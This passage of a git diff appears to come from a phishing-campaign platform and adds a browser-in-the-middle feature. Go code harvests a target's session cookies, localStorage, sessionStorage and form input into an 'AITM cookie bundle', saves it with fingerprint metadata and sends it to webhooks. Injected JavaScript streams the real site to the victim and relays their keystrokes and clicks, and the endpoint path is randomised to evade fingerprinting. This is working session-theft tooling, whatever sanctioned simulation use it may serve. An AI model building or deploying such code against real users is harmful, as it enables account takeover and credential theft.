whether the value was a Go struct (network.Cookie) or already a map. + raw, err := json.Marshal(captureValue) + if err != nil { + return + } + var capture map[string]interface{} + if json.Unmarshal(raw, &capture) != nil { + return + } + + // Build cookies map keyed by cookie name - matches the AITM cookie bundle format. + cookiesMap := map[string]interface{}{} + if arr, ok := capture["cookies"].([]interface{}); ok { + for _, c := range arr { + if cm, ok := c.(map[string]interface{}); ok { + name, _ := cm["name"].(string) + if name == "" { + continue + } + entry := map[string]string{ + "name": name, + "value": stringField(cm, "value"), + "domain": stringField(cm, "domain"), + "path": stringField(cm, "path"), + "capture_time": time.Now().Format(time.RFC3339), + } + if b, _ := cm["secure"].(bool); b { + entry["secure"] = "true" + } + if b, _ := cm["httpOnly"].(bool); b { + entry["httpOnly"] = "true" + } + if ss, _ := cm["sameSite"].(string); ss != "" { + entry["sameSite"] = ss + } + // CDP returns expires as a float64 Unix timestamp; -1 means session cookie. + if exp, _ := cm["expires"].(float64); exp > 0 { + entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339) + } + cookiesMap[name] = entry + } + } + } + + bundle := map[string]interface{}{ + "capture_type": "cookie", + "source": "remote_browser", + "cookie_count": len(cookiesMap), + "bundle_time": time.Now().Format(time.RFC3339), + "session_complete": true, + "cookies": cookiesMap, + } + + // include localStorage / sessionStorage if present + if ls, ok := capture["localStorage"]; ok && ls != nil { + bundle["localStorage"] = ls + } + if ss, ok := capture["sessionStorage"]; ok && ss != nil { + bundle["sessionStorage"] = ss + } + + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + + // Extract browser metadata (JA4, platform, accept-language) from the victim's + // WS upgrade request, gated on the campaign's SaveBrowserMetadata flag. + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr) + return + } + event.Data = eventData + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +func (m *RemoteBrowserController) saveInfoEvent( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + message string, + clientIP string, + userAgent string, +) { + infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO] + if infoEventID == nil { + return + } + payload := map[string]string{ + "source": "remote_browser", + "message": message, + } + raw, err := json.Marshal(payload) + if err != nil { + return + } + eventData, dataErr := vo.NewOptionalString1MB(string(raw)) + if dataErr != nil { + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: infoEventID, + Data: eventData, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck +} + +// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event. +// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any +// JSON-serializable value passed to submitData() in the script. +func (m *RemoteBrowserController) saveSubmitEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + submitValue interface{}, + clientIP string, + userAgent string, +) { + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + if submitDataEventID == nil { + return + } + bundle := map[string]interface{}{ + "capture_type": "form_data", + "source": "remote_browser", + "data": submitValue, + } + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr) + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Data: eventData, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +// cropImage crops an already-decoded image and returns base64 JPEG at the given quality (1-100). +// quality 0 means use the default (92). +func cropImage(src image.Image, x, y, w, h, quality int) (string, error) { + b := src.Bounds() + if x < b.Min.X { + x = b.Min.X + } + if y < b.Min.Y { + y = b.Min.Y + } + if x+w > b.Max.X { + w = b.Max.X - x + } + if y+h > b.Max.Y { + h = b.Max.Y - y + } + if w <= 0 || h <= 0 { + return "", fmt.Errorf("crop region out of bounds") + } + dst := image.NewRGBA(image.Rect(0, 0, w, h)) + draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src) + var buf bytes.Buffer + q := quality + if q <= 0 || q > 100 { + q = 92 + } + if err := jpeg.Encode(&buf, dst, &jpeg.Options{Quality: q}); err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(buf.Bytes()), nil +} + +// runNamedStream queries the element CSS bounding rect, then streams cropped frames to +// the victim WebSocket until streamCtx is cancelled or the connection closes. +// +// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of +// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata. +// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels. +func (m *RemoteBrowserController) runNamedStream( + streamCtx context.Context, + page *rod.Page, + connMu *sync.Mutex, + conn *websocket.Conn, + selector string, + name string, + si *streamInfo, +) { + sendLog := func(msg string) { + payload, _ := json.Marshal(map[string]interface{}{"type": "log", "message": msg}) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + connMu.Unlock() + } + + // Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport). + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" { + sendLog(fmt.Sprintf("[stream:%s] element not found: %s", name, selector)) + return + } + var cssRect struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 { + sendLog(fmt.Sprintf("[stream:%s] element has zero dimensions: %s", name, selector)) + return + } + si.setOrigin(cssRect.X, cssRect.Y) + + // displayW/H: CSS pixel size sent to the victim canvas for layout. + // Locked to the element's size at stream-start time; updated only when + // the element itself genuinely resizes (cssRectChanged), NOT when + // EmulateViewport causes responsive-layout reflow that changes cssRect.W/H. + displayW := int(cssRect.W) + displayH := int(cssRect.H) + + streamPage := page.Context(streamCtx) + frameCh := make(chan *proto.PageScreencastFrame, 4) + wait := streamPage.EachEvent(func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }) + go wait() + + nsQ, nsW, nsH, nsN := 85, 3840, 2160, 1 + namedStreamScreencast := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &nsQ, + MaxWidth: &nsW, + MaxHeight: &nsH, + EveryNthFrame: &nsN, + } + if err := namedStreamScreencast.Call(streamPage); err != nil { + return + } + // page (not streamPage) must be used here: streamCtx is already cancelled when this defer + // runs, so a StopScreencast on streamPage would never reach Chrome. + defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck + + var minInterval time.Duration + if si.maxFps > 0 { + minInterval = time.Second / time.Duration(si.maxFps) + } + var lastFrameSent time.Time + + // cropX/Y/W/H are in JPEG pixels, recomputed whenever the JPEG dimensions or + // the viewport (DeviceWidth/Height) change. The viewport can change mid-stream + // when EmulateViewport is applied after the victim sends their window size. + var cropX, cropY, cropW, cropH int + var lastJpegW, lastJpegH int + var lastDevW, lastDevH float64 // track viewport to detect changes + var lastRectCheck time.Time // throttle for periodic element-size polling + + requeryCSSRect := func(devW, devH float64) { + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil { + return + } + if res.Value.Str() == "" || res.Value.Str() == "null" { + return + } + var r struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 { + return + } + cssRect = r + si.setOrigin(cssRect.X, cssRect.Y) + } + + for { + select { + case <-streamCtx.Done(): + stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name}) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck + connMu.Unlock() + return + case frame, ok := <-frameCh: + if !ok { + return + } + // Always ack to prevent CDP screencast stalling. + proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck + // Throttle: drop frames that arrive faster than maxFps. + if minInterval > 0 && !lastFrameSent.IsZero() && time.Since(lastFrameSent) < minInterval { + continue + } + lastFrameSent = time.Now() + + var devW, devH float64 + if frame.Metadata != nil { + devW = frame.Metadata.DeviceWidth + devH = frame.Metadata.DeviceHeight + } + + // Decode JPEG once; reuse for both scale computation and cropping. + src, err := jpeg.Decode(bytes.NewReader(frame.Data)) + if err != nil { + continue + } + jpegW := src.Bounds().Max.X + jpegH := src.Bounds().Max.Y + + if devW <= 0 { + devW = float64(jpegW) + } + if devH <= 0 { + devH = float64(jpegH) + } + + viewportChanged := devW != lastDevW || devH != lastDevH + jpegDimsChanged := jpegW != lastJpegW || jpegH != lastJpegH + + // When the viewport changes (e.g. EmulateViewport applied after victim connects), + // re-query the element's bounding rect — its CSS position and size may have + // changed due to responsive layout reflow. + cssRectChanged := false + if viewportChanged { + lastDevW, lastDevH = devW, devH + oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H + requeryCSSRect(devW, devH) + if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH { + cssRectChanged = true + } + } + + // Periodically re-query the element rect to detect size changes caused by + // CSS transitions, popups expanding, or other dynamic layout shifts. + // Skip when a viewport change already triggered a re-query this frame. + if !viewportChanged && cropW > 0 && time.Since(lastRectCheck) >= 250*time.Millisecond { + lastRectCheck = time.Now() + oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H + requeryCSSRect(devW, devH) + if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH { + cssRectChanged = true + } + } + + // Recompute scale-aware crop rect whenever JPEG dimensions, viewport, or + // the element's own CSS dimensions change. + if jpegDimsChanged || viewportChanged || cssRectChanged { + lastJpegW, lastJpegH = jpegW, jpegH + + scaleX := float64(jpegW) / devW + scaleY := float64(jpegH) / devH + si.setScale(scaleX, scaleY) + + cropX = int(cssRect.X * scaleX) + cropY = int(cssRect.Y * scaleY) + cropW = int(cssRect.W * scaleX) + cropH = int(cssRect.H * scaleY) + + // Update canvas display size only when the element itself resized, + // not when a viewport change triggers responsive-layout reflow. + if cssRectChanged { + displayW = int(cssRect.W) + displayH = int(cssRect.H) + } + + if cropW <= 0 || cropH <= 0 { + continue + } + // cssWidth/cssHeight: stable CSS display size (locked to initial element + // size, updated only on genuine element resize). width/height are the + // JPEG crop buffer dimensions, which can differ on HiDPI displays. + startPayload, _ := json.Marshal(map[string]interface{}{ + "type": "stream_start", + "name": name, + "width": cropW, + "height": cropH, + "cssWidth": displayW, + "cssHeight": displayH, + }) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck + connMu.Unlock() + } + + if cropW <= 0 || cropH <= 0 { + continue + } + + cropped, err := cropImage(src, cropX, cropY, cropW, cropH, si.quality) + if err != nil { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": "stream_frame", + "name": name, + "frame": cropped, + "width": cropW, + "height": cropH, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } + } +} + +func stringField(m map[string]interface{}, key string) string { + v, _ := m[key].(string) + return v +} diff --git a/backend/data/option.go b/backend/data/option.go index 3c637cc..f17fc32 100644 --- a/backend/data/option.go +++ b/backend/data/option.go @@ -26,6 +26,11 @@ const ( OptionKeyProxyCookieName = "proxy_cookie_name" + // OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the + // victim-facing remote browser WebSocket endpoint. Randomised at first startup + // so the endpoint is not fingerprinted by path alone. + OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path" + OptionKeyDisplayMode = "display_mode" OptionValueDisplayModeWhitebox = "whitebox" OptionValueDisplayModeBlackbox = "blackbox" diff --git a/backend/database/remoteBrowser.go b/backend/database/remoteBrowser.go new file mode 100644 index 0000000..0066f30 --- /dev/null +++ b/backend/database/remoteBrowser.go @@ -0,0 +1,34 @@ +package database + +import ( + "time" + + "github.com/google/uuid" + "gorm.io/gorm" +) + +const ( + REMOTE_BROWSER_TABLE = "remote_browsers" +) + +// RemoteBrowser is a gorm data model for saved remote browser scripts. +type RemoteBrowser struct { + ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"` + CreatedAt *time.Time `gorm:"not null;index;"` + UpdatedAt *time.Time `gorm:"not null;index"` + CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"` + Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"` + Description string `gorm:"type:text"` + Script string `gorm:"type:text;not null;"` + Config string `gorm:"type:text;not null;default:'{}'"` + + Company *Company +} + +func (e *RemoteBrowser) Migrate(db *gorm.DB) error { + return UniqueIndexNameAndNullCompanyID(db, "remote_browsers") +} + +func (RemoteBrowser) TableName() string { + return REMOTE_BROWSER_TABLE +} diff --git a/backend/embedded/files.go b/backend/embedded/files.go index 5614e20..e1774de 100644 --- a/backend/embedded/files.go +++ b/backend/embedded/files.go @@ -7,6 +7,9 @@ import ( //go:embed tracking-pixel/sendgrid/open.gif var TrackingPixel []byte +//go:embed remotebrowser_inject.js +var RemoteBrowserInjectJS string + // SigningKey1 is verifing the signed .sig file when updating // //go:embed signingkeys/public1.bin diff --git a/backend/embedded/remotebrowser_inject.js b/backend/embedded/remotebrowser_inject.js new file mode 100644 index 0000000..139bc46 --- /dev/null +++ b/backend/embedded/remotebrowser_inject.js @@ -0,0 +1,197 @@ +(function () { + var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__'); + var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc. + var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el} + var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly + + ws.onopen = function () { + ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight })); + }; + + // Apply stream_start sizing to an already-mounted stream entry. + function applyStreamStart(st, m) { + st.canvas.width = m.width; + st.canvas.height = m.height; + st.w = m.width; + st.h = m.height; + // Display size = element's true CSS-pixel dimensions. + // Replace cssText entirely so there is no max-width left to fight against. + var dw = m.cssWidth || m.width; + var dh = m.cssHeight || m.height; + st.cssW = dw; + st.cssH = dh; + st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;'; + if (st.autoSize) { + st.el.style.width = dw + 'px'; + st.el.style.height = dh + 'px'; + } + } + + ws.onmessage = function (e) { + try { + var m = JSON.parse(e.data); + + if (m.type === 'event' && m.key) { + (h['e:' + m.key] || []).forEach(function (f) { f(m.value); }); + + } else if (m.type === 'stream_start' && m.name) { + // Always store so mountStream() called inside the handler still gets sized. + streamLastStart[m.name] = m; + var st = streams[m.name]; + if (st) { + // Stream already mounted — this is a resize/reposition update only. + // Do NOT re-fire user handlers; that would call mountStream() again + // and create duplicate canvases. + applyStreamStart(st, m); + } else { + // First stream_start for this name: fire user handlers so the page can + // call mountStream() to attach a canvas. + (h['stream_start:' + m.name] || []).forEach(function (f) { + f(m.cssWidth || m.width, m.cssHeight || m.height); + }); + // If the handler called mountStream() just now, apply sizing immediately. + if (streams[m.name]) { + applyStreamStart(streams[m.name], m); + } + } + + } else if (m.type === 'stream_frame' && m.name) { + var st = streams[m.name]; + if (!st) return; + var img = new Image(); + img.onload = function () { + if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; } + if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; } + st.canvas.getContext('2d').drawImage(img, 0, 0); + }; + img.src = 'data:image/jpeg;base64,' + m.frame; + + } else if (m.type === 'done') { + (h['e:done'] || []).forEach(function (f) { f(); }); + + } else if (m.type === 'stream_stop' && m.name) { + // Remove the canvas from DOM and clear the tracking entry so the next + // stream_start for the same name triggers a fresh mountStream() call. + // Without this, a stop→start cycle (e.g. element removed and re-added) + // leaves a stale canvas in `streams` that silently receives frames while + // subsequent mountStream() calls add new canvases on top. + var stStopped = streams[m.name]; + if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) { + stStopped.canvas.parentNode.removeChild(stStopped.canvas); + } + delete streams[m.name]; + delete streamLastStart[m.name]; + (h['stream_stop:' + m.name] || []).forEach(function (f) { f(); }); + } + } catch (ex) {} + }; + + window.remoteBrowser = { + on: function (ev, nameOrFn, fn) { + if (typeof nameOrFn === 'function') { + h['e:' + ev] = h['e:' + ev] || []; + h['e:' + ev].push(nameOrFn); + } else { + var k = ev + ':' + nameOrFn; + h[k] = h[k] || []; + h[k].push(fn); + } + }, + + send: function (ev, data) { + if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} })); + }, + + mountStream: function (name, el, opts) { + // stream_start fires on every viewport/JPEG-dimension change; guard against + // appending a second canvas if the stream is already mounted. + if (streams[name]) return; + + var autoSize = !!(opts && opts.autoSize); + var allowScroll = !!(opts && opts.scroll); + var allowArrows = !!(opts && opts.arrowKeys); + var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 }; + + var canvas = document.createElement('canvas'); + canvas.style.cssText = 'display:block;outline:none;'; + canvas.setAttribute('tabindex', '0'); + el.appendChild(canvas); + + var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el }; + streams[name] = st; + + // If stream_start already arrived (e.g. mountStream called inside the handler), + // apply the stored sizing now so the canvas has the right CSS dimensions immediately. + if (streamLastStart[name]) { + applyStreamStart(st, streamLastStart[name]); + } + + function coords(e) { + var r = canvas.getBoundingClientRect(); + var sx = st.w > 0 ? st.w / r.width : 1; + var sy = st.h > 0 ? st.h / r.height : 1; + return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) }; + } + + function snd(o) { + if (ws.readyState === 1) ws.send(JSON.stringify(o)); + } + + canvas.addEventListener('mousedown', function (e) { + e.preventDefault(); + canvas.focus(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mouseup', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mousemove', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y }); + }); + + // Scroll: disabled by default to avoid accidentally scrolling the remote browser. + // Enable with { scroll: true } in mountStream options. + if (allowScroll) { + canvas.addEventListener('wheel', function (e) { + e.preventDefault(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y, + deltaX: e.deltaX, deltaY: e.deltaY }); + }, { passive: false }); + } + + // Arrow keys: always preventDefault (prevent page scroll when canvas is focused), + // but only forwarded to the remote browser when { arrowKeys: true }. + canvas.addEventListener('keydown', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keydown', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0), + charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') }); + }); + + canvas.addEventListener('keyup', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keyup', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) }); + }); + + canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); }); + } + }; + + window.rb = window.remoteBrowser; +})(); diff --git a/backend/go.mod b/backend/go.mod index bc9bf3b..0815fd3 100644 --- a/backend/go.mod +++ b/backend/go.mod @@ -12,13 +12,16 @@ require ( github.com/charmbracelet/bubbles v0.20.0 github.com/charmbracelet/bubbletea v1.3.4 github.com/charmbracelet/lipgloss v1.1.0 + github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c github.com/enetx/surf v1.0.141 github.com/exaring/ja4plus v0.0.2 github.com/fatih/color v1.15.0 github.com/gin-contrib/zap v1.1.4 github.com/gin-gonic/gin v1.10.0 github.com/go-errors/errors v1.5.1 + github.com/go-rod/rod v0.116.2 github.com/google/uuid v1.3.1 + github.com/gorilla/websocket v1.5.3 github.com/klauspost/compress v1.18.1 github.com/oapi-codegen/nullable v1.1.0 github.com/pquerna/otp v1.4.0 @@ -50,6 +53,7 @@ require ( github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect + github.com/dlclark/regexp2 v1.11.4 // indirect github.com/enetx/g v1.0.194 // indirect github.com/enetx/http v1.0.19 // indirect github.com/enetx/http2 v1.0.20 // indirect @@ -64,6 +68,7 @@ require ( github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-playground/validator/v10 v10.22.0 // indirect + github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/goccy/go-json v0.10.3 // indirect github.com/golang-jwt/jwt/v5 v5.2.2 // indirect @@ -101,6 +106,11 @@ require ( github.com/wzshiming/socks5 v0.6.0 // indirect github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/yeqown/reedsolomon v1.0.0 // indirect + github.com/ysmood/fetchup v0.2.3 // indirect + github.com/ysmood/goob v0.4.0 // indirect + github.com/ysmood/got v0.40.0 // indirect + github.com/ysmood/gson v0.7.3 // indirect + github.com/ysmood/leakless v0.9.0 // indirect github.com/zeebo/blake3 v0.2.3 // indirect go.uber.org/mock v0.6.0 // indirect go.uber.org/multierr v1.11.0 // indirect diff --git a/backend/go.sum b/backend/go.sum index e90a2da..8362dcd 100644 --- a/backend/go.sum +++ b/backend/go.sum @@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo= +github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4= github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo= github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4= github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E= @@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA= +github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= @@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= @@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw= github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0= github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM= +github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ= +github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns= +github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= 